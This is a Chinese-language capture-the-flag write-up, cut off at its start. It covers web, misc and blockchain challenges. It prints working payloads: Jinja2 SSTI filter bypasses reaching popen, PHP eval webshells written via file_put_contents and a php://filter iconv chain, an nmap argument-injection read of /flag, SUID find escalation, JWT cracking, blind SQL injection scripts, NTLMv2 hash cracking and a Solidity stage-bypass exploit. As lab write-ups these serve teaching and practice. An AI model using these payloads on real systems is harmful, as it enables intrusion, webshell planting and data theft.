3A%22YXX%22%3BN%3B%7D%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%7D&file=data://text/plain,loveyou&fun=glob:///*'
#fun=glob:///*
str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in str:
time.sleep(0.2)
payload = url + 'm' + '*'
headers = {
'Host': 'd3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com',
'Content-Length': '21',
'Cache-Control': 'max-age=0',
'Sec-Ch-Ua': '"Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"',
'Sec-Ch-Ua-Mobile': '?0',
'Sec-Ch-Ua-Platform': '"Windows"',
'Upgrade-Insecure-Requests': '1',
'Origin': 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': payload,
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Sec-Fetch-Site': 'cross-site',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Dest': 'document'
}
data={
'ctf':'DirectoryIterator'
}
r = requests.post(url,data,headers)
te = r.text.split('!<br>')[3]
print(te)
最后在html目录下找到flag
使用原生类读取flag名,访问得到flag
scan_tool
参考:
BUUCTF 2018 Online Tool-CSDN博客^v88^control_2,239^v2^insert_chatgpt&utm_term=%5BBUUCTF%202018%5DOnline%20Tool&spm=1018.2226.3001.4187
一些不包含数字和字母的webshell | 离别歌
这两个博客
利用escapeshellarg函数处理命令会剔除不可见字符的特性可以使用不可见字符对过滤的option进行绕过,payload如下
利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件
%27+-i%faL+%2Fflag+-o%faN+1.txt+%27
klf_2
考点:字符串拼接,全角绕过
{% set po=dict(po=a,p=b)|join%} //拼接pop
{% set a=(()|select|string|list)|attr(po)(24)%} //利用pop获取()|select|string|list列表中的_
{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} //拼接__init__
{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} //拼接__globals__
{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} //拼接__class__
{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} //拼接base
{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} //拼接getitem,用来绕过[]
{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} //拼接__subclasses__
{%set pp=dict(po=a,p=b,en=c)|join%} //拼接popen
{%set re=dict(re=a,ad=b)|join%} //拼接read
{%set cc=dict(c=a,h=b,r=c)|join%} //拼接字符chr
{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %} //拼接__builtins__
{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //利用os类提取函数chr,用于字符串拼接
(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}
{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //使用os类,拼接出popen函数
(117)|attr(ini)|attr(glo)|attr(geti)(pp)%}
{%set cmd=(ch(108),ch(115))|join()%} //利用chr拼接出系统命令
{{ppp(cmd)|attr(re)()}} //进行命令执行
利用chr函数绕过命令的过滤,利用join函数将命令进行拼接,上传全角的时候记得url编码,全角字符如下
0,1,2,3,4,5,6,7,8,9
任何字符其实都可以使用非ascii码表字符进行绕过,脚本如下
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
EzRce
参考博客:
源码如下
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>
通过highlight_file读取waf.php,结果如下
function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}
字母中没有过滤eval,利用p神的脚本进行命令执行
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
eval($___[_]);
POST
file_put_contents('1.php','<?=eval($_POST["chu0"]);?>');
写shell连接蚁剑,读取flag发现没有权限,find提权获取flag
find / -perm -4000 2>/dev/null
find /tmp -exec cat /flag \;
ezpython
简单的python原型链污染。
直接在注册的时候将身份变成vip,利用unicode编码绕过isvip检测。
然后直接利用数字全角绕过数字检测得到flag。
change_it
源码拿到账号密码,登陆后说没有上传权限,应该是要伪造cookie,测试后是jwt,密钥爆破
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4
Secret is "yibao"
jwt伪造admin权限,发现上传并没有限制,上传php文件成功,查看源码获得如下信息
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = time();
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
伪随机,密钥一样结果就一样,本地测试,文件名也是一样的,接下来就是对time进行爆破,这里是取了上下五十,写了两个脚本
import requests
import time
import os
url = 'https://senc7zrbyu7vzbzgqrduxpw38.node.game.sycsec.com/'
file = {'avatar':('chu3.php','<?=eval($_POST["chu0"]);?>','application/octet-stream')}
url1 = url + 'change.php'
headers = {
'Cookie':'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImFkbWluIjoidHJ1ZSJ9.8nV1QCrKddruGHmqK69U69k6IQVUIzOvr69qB8qis1k'
}
r1 = requests.post(url=url1,files=file,headers=headers)
print(r1.text)
time = int(time.time())
with open('./1.txt','w') as f:
for i in range(time-50,time+50):
f.write(str(i)+'\n')
os.system('php test.php')
with open('./2.txt','r') as f2:
for line in f2:
data = line.strip()
payload = url+ 'upload/' + data + '.php'
print(payload)
r = requests.get(payload)
if r.status_code==200:
print(data)
break
<?php
$filename = '1.txt';
$file = fopen($filename,'r');
$file2 = fopen('./2.txt','w');
while (!feof($file)) {
$line = fgets($file);
mt_srand($line);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
fwrite($file2,$newFileName."\n");
}
python先上传文件,获取时间戳,将上下50的时间结果写入文件,然后用php读取时间戳并生成对应的文件名写入文件,最后再用python读取文件名并发送请求对文件名进行爆破,爆出文件名后连接蚁剑在根目录获取flag
ezrfi
查看源码获得提示读取hint.py,经过从此尝试得到hint在
../../hint
读取后得到如下内容
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg
base64 尊嘟假嘟 rc4,这里rc4的key是猜的,题目描述的Syclover,最终结果如下
文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??
想到题目中是有hint.py,然后直接测信道写入文件并包含
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=../../hint
写入内容如下
<?php eval($_GET[1]);?>a
get 1命令执行在根目录下拿到flag
Akane!
glob://协议爆破文件名,访问就出flag
import requests
import base64
import time
url = 'http://svdpakfo21v04snw2pb7fk9p6.node.game.sycsec.com/?tuizi='
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.!@#$%^&()-+=/`~?*'
len1 = 24
name = ''
for j in range(1,100):
for i in str1:
time.sleep(1)
payload1 = '''O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'''+str(len1)+''':"glob:///var/www/html/T'''+name+i+'''*";}s:19:"HoshinoAquamarine";N;'''
pay1 = base64.b64encode(payload1.encode('utf-8'))
payload = url + pay1.decode('utf-8')
r = requests.get(payload)
print(payload1)
if 'Kurokawa Akane' in r.text:
name+=i
len1+=1
print(name)
break
TheS4crEtF1AgFi1EByo2takuXX.php
klf_3
上一次的payload直接拿来用
{% set po=dict(po=a,p=b)|join%} //拼接pop
{% set a=(()|select|string|list)|attr(po)(24)%} //利用pop获取()|select|string|list列表中的_
{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} //拼接__init__
{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} //拼接__globals__
{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} //拼接__class__
{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} //拼接base
{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} //拼接getitem,用来绕过[]
{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} //拼接__subclasses__
{%set pp=dict(po=a,p=b,en=c)|join%} //拼接popen
{%set re=dict(re=a,ad=b)|join%} //拼接read
{%set cc=dict(c=a,h=b,r=c)|join%} //拼接字符chr
{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %} //拼接__builtins__
{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //利用os类提取函数chr,用于字符串拼接
(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}
{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //使用os类,拼接出popen函数
(117)|attr(ini)|attr(glo)|attr(geti)(pp)%}
{%set cmd=(ch(108),ch(115))|join()%} //利用chr拼接出系统命令
{{ppp(cmd)|attr(re)()}} //进行命令执行
ez_sql
先判断闭合
1')#
fuzz一下
主要是过滤了information这个字段,使用sys库的表获取库名表名,先注入一下数据库名
import requests
url = 'http://47.108.56.168:1111/index.php'
str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-+_'
mid=''
for i in range(0,100):
for j in str1:
payload = '''1\')/**/and/**/(schema())/**/like/**/binary/**/\''''+mid+j+'''%\'#'''
data = {
'id':payload
}
r = requests.post(url=url,data=data)
if 'Success requires' in r.text:
mid+=j
print(mid)
break
#articles
最后还是得用sys去获取库表名
import requests
url = 'http://47.108.56.168:1112/index.php'
str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$^&*()-+%'
mid=''
flag=0
for k in range(0,5):
for i in range(0,15):
if '%' in mid:
mid = ''
break
for j in str1:
if '%' in mid:
mid=''
break
#payload = '''1\')/**/and/**/(select/**/table_schema/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''
#payload = '''1\')/**/and/**/(select/**/column_name/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''
payload = '''1\')/**/and/**/(select/**/*/**/from/**/ctf.flll444aaggg9/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''
print(payload)
data = {
'id':payload
}
r = requests.post(url=url,data=data)
if 'Success requires' in r.text:
mid+=j
print(mid)
break
MISC
下一站是哪呢
分离图片。
网上找个表,得到iwanttobaijiucity
搜索一下是泸州,看一下 8月25的航班
得到 SYC{CZ8579_Luzhou}
窃听风云
HTML加密的流量包
看https://zhuanlan.zhihu.com/p/52882041
看有NTLMv2散列的.pcap文件。 通过ntlmssp这一字符串进行数据包筛选,获得身份验证的握手包。
得到三个包。查找NTLMSSP_AUTH包。过滤到 Security Blob层,就可以得到
复制一下domain和name。深入查找NTLM响应部分,找到NTProofStr字段和NTLMv2的响应。复制十六进制字符串到文本文档中。
将以上的值复制成以下:
然后利用hashcat 对字典进行爆破得到iamjackspassword
SYC{iamjackspassword}
extractMe
crc爆破,四个四个的来。
ez_smilemo
载附件后,得到一个exe文件和一个data.win文件,题目提示通关游戏即可得到flag,先去网上搜索一下data.win文件怎么打开
、
可以看到利用undertalemodtool软件可以打开,用这个软件打开data.win文件,并搜索flag
|
可以看到一段base64数据,base64解密后,包上SYC{}即为flag
Flag为 SYC{sm1le_1s_@_n1ce_g@me}
DEATH_N0TE
打开附件,是一张图片,先用zsteg跑出其中的LSB数据
base64解码后,得到一半的flag
剩下一半,通过观察图片,发现图片中有一些黑色和白色的小点,通过降低图片的大小,使得这些小点更加清晰,脚本如下:
from PIL import Image
im = Image.open('1.png')
pix = im.load()
width = im.size[0]
height = im.size[1]
# 新图像的宽度和高度(每12个像素生成一个新像素)
new_width = width // 5
new_height = height // 5
# 创建一个新的图像对象
new_img = Image.new("RGB", (new_width, new_height))
for x in range(0,width,5):
for y in range(0,height,5):
rgb=pix[x, y]
new_img.putpixel((x//5,y//5),(int(rgb[0]),int(rgb[1]),int(rgb[2])))
new_img.save('new_image.png')
经过对照后,得到一段base64数据:TkFNRV9vMnRha3VYWH0=
|
解码后拼在一起即为flag
Flag为SYC{D4@Th_N0t4_NAME_o2takuXX}
Qingwan心都要碎了
通过搜索磁器口,可定位旅游地点在重庆
再搜索一下重庆著名博物馆,即可找到flag
Flag为SYC{中国三峡博物馆}
xqr
打开附件是一个二维码,直接扫描会得到一个假flag,用010打开,发现里面还藏着一张png图片
提取出来,发现还是一张类似二维码图片
两张图片的像素大小不一样,无法异或,所以先用脚本把提取出来的图片大小放大,脚本如下:
from PIL import Image
# 打开原始图像
im = Image.open('2.png')
pix = im.load()
width = im.size[0]
height = im.size[1]
# 新图像的宽度和高度(每个像素扩大为一个 3x3 块)
new_width = width * 3
new_height = height * 3
# 创建一个新的图像对象
new_img = Image.new("RGB", (new_width, new_height))
# 将每个像素复制到新图像中的一个 3x3 块
for x in range(width):
for y in range(height):
rgb = pix[x, y]
for i in range(3):
for j in range(3):
new_img.putpixel((x * 3 + i, y * 3 + j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
# 保存新图像
new_img.save('enlarged_image.png')
再将两张图片异或,扫码即为flag
Flag为SYC{hOp3_u_h@ve_Fun}
DEATH_N1TE
打开附件,是一段音频和一张gif图片,音频的后半部分有很明显的SSTV隐写,利用手机上的robot36软件将声音转图片获得前半部分的flag
gif图片有880张,把gif图片转成880张图片保存到文件夹中
利用imagemagick把这800多张图片合并在一起
利用gaps自动拼图软件,把图片基本复原
得到一段base64数据XzE0X0tpMTE0Un0=,解密把两段拼在一起即为flag
Flag为SYC{H4xr0t0r_14_Ki114R}
give_me_Goerlieth
这个题目吗要求在Goerlieth测试连上进行,但我没有Goerlieth币啊,咋办,怎么做
考虑到题目上让交Transaction Hash在区块连浏览器上是公开的,只需要在区块链浏览器上交别人的就可以了
0x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f10x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f1
SimpleConnect
去区块链浏览器搜地址,直接用上一个的合约地址
0x663A6e994d0197273c3D578D220571020545bFD3
DEATH-N2TE
提取视频中可疑的像素点
import cv2
import numpy as np
def extract_pixels(video_path, threshold, start_col, col_interval, output_image_path):
cap = cv2.VideoCapture(video_path)
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
extracted_image = np.zeros((frame_height, min(frame_count, frame_width), 3), dtype=np.uint8)
current_col = start_col
for frame_idx in range(frame_count):
ret, frame = cap.read()
if not ret:
break
if current_col < frame_width:
col_to_scan = frame[:, current_col, :]
white_pixels = np.all(col_to_scan >= threshold, axis=-1)
extracted_image[white_pixels, frame_idx, :] = col_to_scan[white_pixels]
current_col += col_interval
if current_col >= frame_width:
current_col = start_col # Reset to start if we exceed the width
cap.release()
cv2.imwrite(output_image_path, extracted_image)
cv2.imshow('Extracted Image', extracted_image)
cv2.waitKey(0)
cv2.destroyAllWindows()
video_path = './kira.mp4'
threshold = np.array([200, 200, 200])
start_col = 5
col_interval = 10
output_image_path = 'extracted_image.png'
extract_pixels(video_path, threshold, start_col, col_interval, output_image_path)
提取出来有些不清楚,可以放到文档里拉伸一下,得到flag
stage
pragma solidity ^0.8.4;
interface IReceiver {
function getNumber() external view returns(uint256);
}
contract stageGame{
mapping (address => bool) private flag;
mapping (address => bool) public isStage1Completed;
function stage1() external {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0,"EOA must!");
isStage1Completed[msg.sender] = true;
}
function stage2(uint _guess) external {
require(isStage1Completed[msg.sender],"You should complete stage1 first!");
uint number = block.timestamp % 100 + 1;
require(number == _guess, "Wrong number!");
_stage3();
}
function _stage3() private {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size > 0,"Contract must!");
uint256 number1;
uint256 number2;
(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));
require(success,"First call failed!");
number1 = abi.decode(data1, (uint256));
(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));
require(success2,"Second call failed!");
number2 = abi.decode(data2, (uint256));
require(number1 != number2, "Must return different Number!");
flag[tx.origin] = true;
}
function check(address addr) external view returns(bool){
return flag[addr];
}
}
合约中总共有3关
第一关,size为0即可绕过
第二关,猜数,直接套他源码就行
uint number = block.timestamp % 100 + 1;
第三关的话,他需要检查地址
pragma solidity ^0.8.4;
interface IReceiver {
function getNumber() external view returns(uint256);
}
contract stageGame{
mapping (address => bool) private flag;
mapping (address => bool) public isStage1Completed;
function stage1() external {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0,"EOA must!");
isStage1Completed[msg.sender] = true;
}
function stage2(uint _guess) external {
require(isStage1Completed[msg.sender],"You should complete stage1 first!");
uint number = block.timestamp % 100 + 1;
require(number == _guess, "Wrong number!");
_stage3();
}
function _stage3() private {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size > 0,"Contract must!");
uint256 number1;
uint256 number2;
(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));
require(success,"First call failed!");
number1 = abi.decode(data1, (uint256));
(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));
require(success2,"Second call failed!");
number2 = abi.decode(data2, (uint256));
require(number1 != number2, "Must return different Number!");
flag[tx.origin] = true;
}
function check(address addr) external view returns(bool){
return flag[addr];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 假设stageGame合约的接口如下
interface IStageGame {
function stage1() external;
function stage2(uint256 number) external;
function check(address addr) external returns (bool);
}
contract Exp {
IStageGame public stageGame;
constructor(address _address) {
stageGame = IStageGame(_address);
stageGame.stage1();
}
// 尝试获取gas消耗量,如果消耗超过2000则返回0,否则返回1
function getNumber() external view returns (uint256) {
uint256 gbef = 0;
uint256 gaft = 0;
assembly {
gbef := gas()
let x := sload(0x66666)
gaft := gas()
}
uint256 gasc = gbef - gaft;
if (gasc > 2000) {
return uint256(0);
}
return uint256(1);
}
// 尝试执行hack操作,成功则返回true,否则返回false
function hack(address addr) public returns (bool) {
bool flag = false;
uint256 number = block.timestamp % 100 + 1;
stageGame.stage2(number);
flag = stageGame.check(addr);
return flag;
}
}
之后就打通了,可以在账户详情查看私钥